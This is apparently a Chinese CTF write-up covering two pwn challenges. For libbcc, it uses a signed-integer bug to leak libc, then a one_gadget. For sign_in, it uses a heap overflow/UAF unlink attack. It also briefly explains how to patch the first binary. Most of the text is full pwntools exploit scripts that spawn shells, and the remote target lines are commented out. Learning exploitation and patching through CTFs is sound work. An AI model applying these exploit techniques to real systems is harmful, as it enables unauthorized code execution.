1.libbcc
2.sign_in
3.libbcc修复
先说明,pwn那2道我感觉官方在搞我,本地都通了,远程都不通了
1.libbcc
给了libc,拖入ida分析
当v2>0可获得libc基址,v2为有符号数,但ret时转为无符号数给v5
当v5>0x1bf52时可执行任意一个函数或碎片等,如果泄露了libc,可通过onegadget来getshell
因为v2是一个有符号数,可以为负数,给它输入一个小点的负数可达到条件进入read,然后onegadget就可以getshell
EXP:
from pwn import *
from LibcSearcher import *
from pwnlib import *
context.arch="amd64"
#sh=remote("118.24.128.20",10000)
sh=process("./libbcc")
elf=ELF("./libbcc")
#libc=ELF("libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
inter=lambda :sh.interactive()
un("choice:")
sl("1")
un("choice:")
sl("2")
un("how much?")
sl("-3000")
un("ok,here is your gift:")
jz=int(sh.recv(14),16)-libc.sym['puts']
print hex(jz)
un("choice:")
sl("2")
un("do\n")
system=jz+libc.sym['system']
bin_sh=jz+libc.search("/bin/sh").next()
s=[0xe3afe,0xe3b01,0xe3b04]
shell=jz+s[0]
sd(p64(shell))
inter()
2.sign_in
这道题有多种解法,当时想到的是unlink
只能申请small bin或large bin,用calloc开的,会清除数据
功能2.3存在堆溢出和uaf漏洞,功能5存在shell,且程序地址没随机化,利用方式太多了,我当时使用的unlink来解,把0x602240修改为大于0x10000的值,然后本地直接get shell,远程却不让我通,正常情况,使用这种解法本地通了,远程也绝对通的。
EXP:
#coding=utf-8
from pwn import *
from LibcSearcher import *
from pwnlib import *
#sh=remote("118.24.128.20",10001)
sh=process("./sign_in")
elf=ELF("./sign_in")
#libc=ELF("libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda:sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
def add(index,size,data):
un("choice>>\n")
sl("1")
un("index>>\n")
sl(str(index))
un("size>>\n")
sl(str(size))
un("check\n")
sd(data)
def edit(index,size,data):
un("choice>>\n")
sl("2")
un("index>>\n")
sl(str(index))
un("size>>\n")
sl(str(size))
un("Ok\n")
sd(data)
def free(index):
un("choice>>\n")
sl("3")
un("index>>\n")
sl(str(index))
def show(index):
un("choice>>\n")
sl("4")
un("index>>\n")
sl(str(index))
add(0,0x100,"a")
add(1,0x100,"a")
add(2,0x100,"a")
shell=p64(0)+p64(0x101)+p64(0x602140-0x18)+p64(0x602140-0x10)
shell=shell.ljust(0x100,"\x00")
edit(0,0x500,shell+p64(0x100)+p64(0x110))
free(1)
edit(0,0x200,"a"*0x118+p64(0x10001))
un("choice>>\n")
#pwnlib.gdb.attach(sh)
sl("5")
inter().
3.libbcc修复
fix环境其实就是修洞,需要达到两个条件即可,1.攻击脚本无法打通 2.程序必须能正常运行,不能修改程序流程
主要的漏洞点是在判断这里
这样就怎么都不会到read这里了,因为v5是怎么都能达到if的条件的
然后保存修改的后,再打包提交到服务器后就可以一直加分了
第二道堆题的修复给你们个暗示,把堆溢出和uaf修复好应该就ok了(目前我还没修完)
re那道不说了,送分题,去掉花指令就好了。
总结:学习安全不止要会挖洞,还要会修复洞(只有可执行文件的情况),都会的话这样就很巴卡了